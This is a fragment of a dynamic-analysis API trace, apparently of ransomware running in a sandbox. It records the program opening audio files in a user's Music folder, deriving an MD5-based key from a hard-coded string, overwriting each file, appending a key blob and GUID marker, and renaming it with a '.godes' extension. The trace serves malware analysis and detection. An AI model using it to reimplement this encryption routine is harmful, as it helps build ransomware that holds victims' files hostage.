returned 1 [0114.238] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce40ff70, ftCreationTime.dwHighDateTime=0x1d4c670, ftLastAccessTime.dwLowDateTime=0x8f1b40c0, ftLastAccessTime.dwHighDateTime=0x1d4cd51, ftLastWriteTime.dwLowDateTime=0x8f1b40c0, ftLastWriteTime.dwHighDateTime=0x1d4cd51, nFileSizeHigh=0x0, nFileSizeLow=0xc5d9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lQDTQxNwKpz.m4a", cAlternateFileName="LQDTQX~1.M4A")) returned 1 [0114.238] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.238] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8e) returned 0x31e3c08 [0114.238] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.239] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\lQDTQxNwKpz.m4a") returned=".m4a" [0114.239] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\lQDTQxNwKpz.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\lqdtqxnwkpz.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.239] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=50649) returned 1 [0114.239] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.241] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc5b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.241] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.242] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.242] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.242] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.242] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xc5d9, lpOverlapped=0x0) returned 1 [0114.243] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.243] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.243] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.243] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.243] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.244] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.244] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.244] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.244] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.244] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.244] GetLastError () returned 0x0 [0114.244] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.244] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.244] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.244] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc5e0) returned 0x3321120 [0114.244] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.244] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.244] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xc5d4, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xc5d4, lpOverlapped=0x0) returned 1 [0114.244] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.245] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc5d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.245] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.245] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.245] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.245] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.245] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.245] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.245] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.245] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.245] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.245] CloseHandle (hObject=0x624) returned 1 [0114.246] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0114.246] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0114.246] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0114.246] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\lQDTQxNwKpz.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\lqdtqxnwkpz.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\lQDTQxNwKpz.m4a.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\lqdtqxnwkpz.m4a.godes")) returned 1 [0114.247] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.247] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.248] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.248] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5cd8de0, ftCreationTime.dwHighDateTime=0x1d4d0ef, ftLastAccessTime.dwLowDateTime=0xf55b3a50, ftLastAccessTime.dwHighDateTime=0x1d4cc9f, ftLastWriteTime.dwLowDateTime=0xf55b3a50, ftLastWriteTime.dwHighDateTime=0x1d4cc9f, nFileSizeHigh=0x0, nFileSizeLow=0x17b17, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M-cTe5oTGVM6J9Ms.wav", cAlternateFileName="M-CTE5~1.WAV")) returned 1 [0114.248] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.248] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8e) returned 0x31e3c08 [0114.248] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.248] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\M-cTe5oTGVM6J9Ms.wav") returned=".wav" [0114.248] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\M-cTe5oTGVM6J9Ms.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\m-cte5otgvm6j9ms.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.249] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=97047) returned 1 [0114.249] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.250] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x17af1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.250] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.252] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.252] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.252] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.252] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x17b17, lpOverlapped=0x0) returned 1 [0114.253] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.253] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.253] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.253] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.253] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.254] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.254] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.254] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.254] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.254] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.254] GetLastError () returned 0x0 [0114.254] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.254] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.254] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.254] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x17b20) returned 0x3321120 [0114.255] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.255] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.255] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x17b12, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x17b12, lpOverlapped=0x0) returned 1 [0114.255] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.255] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x17b17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.255] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.255] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.255] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.255] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.256] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.256] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.256] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.256] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.256] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.256] CloseHandle (hObject=0x624) returned 1 [0114.257] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0114.257] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0114.257] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0114.257] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\M-cTe5oTGVM6J9Ms.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\m-cte5otgvm6j9ms.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\M-cTe5oTGVM6J9Ms.wav.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\m-cte5otgvm6j9ms.wav.godes")) returned 1 [0114.258] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.258] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.258] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.259] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf54ccc0, ftCreationTime.dwHighDateTime=0x1d4d2bb, ftLastAccessTime.dwLowDateTime=0xce56a500, ftLastAccessTime.dwHighDateTime=0x1d4c599, ftLastWriteTime.dwLowDateTime=0xce56a500, ftLastWriteTime.dwHighDateTime=0x1d4c599, nFileSizeHigh=0x0, nFileSizeLow=0x40af, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="neGejl7TOddT.mp3", cAlternateFileName="NEGEJL~1.MP3")) returned 1 [0114.259] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.259] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8e) returned 0x31e3c08 [0114.259] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.259] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\neGejl7TOddT.mp3") returned=".mp3" [0114.259] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\neGejl7TOddT.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\negejl7toddt.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.259] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=16559) returned 1 [0114.259] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.261] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x4089, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.261] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.262] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.262] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.262] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.262] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x40af, lpOverlapped=0x0) returned 1 [0114.263] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.263] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.263] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.263] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.263] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.264] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.264] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.264] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.264] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.264] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.264] GetLastError () returned 0x0 [0114.264] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.264] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.264] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.264] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40b0) returned 0x3321120 [0114.264] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.264] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.264] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x40aa, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x40aa, lpOverlapped=0x0) returned 1 [0114.265] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.265] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x40af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.265] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.265] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.265] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.265] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.265] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.265] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.265] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.265] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.265] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.265] CloseHandle (hObject=0x624) returned 1 [0114.266] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0114.266] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0114.266] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0114.266] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\neGejl7TOddT.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\negejl7toddt.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\neGejl7TOddT.mp3.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\negejl7toddt.mp3.godes")) returned 1 [0114.266] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.266] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.267] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.267] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d349e0, ftCreationTime.dwHighDateTime=0x1d4d0d9, ftLastAccessTime.dwLowDateTime=0x763894f0, ftLastAccessTime.dwHighDateTime=0x1d4ca49, ftLastWriteTime.dwLowDateTime=0x763894f0, ftLastWriteTime.dwHighDateTime=0x1d4ca49, nFileSizeHigh=0x0, nFileSizeLow=0x6b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SoXdS.wav", cAlternateFileName="")) returned 1 [0114.268] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0114.268] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8e) returned 0x31e3c08 [0114.268] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0114.268] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\SoXdS.wav") returned=".wav" [0114.268] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UFF1TS\\SoXdS.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uff1ts\\soxds.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.277] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=27488) returned 1 [0114.277] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.279] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x6b3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.279] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.280] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.280] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, 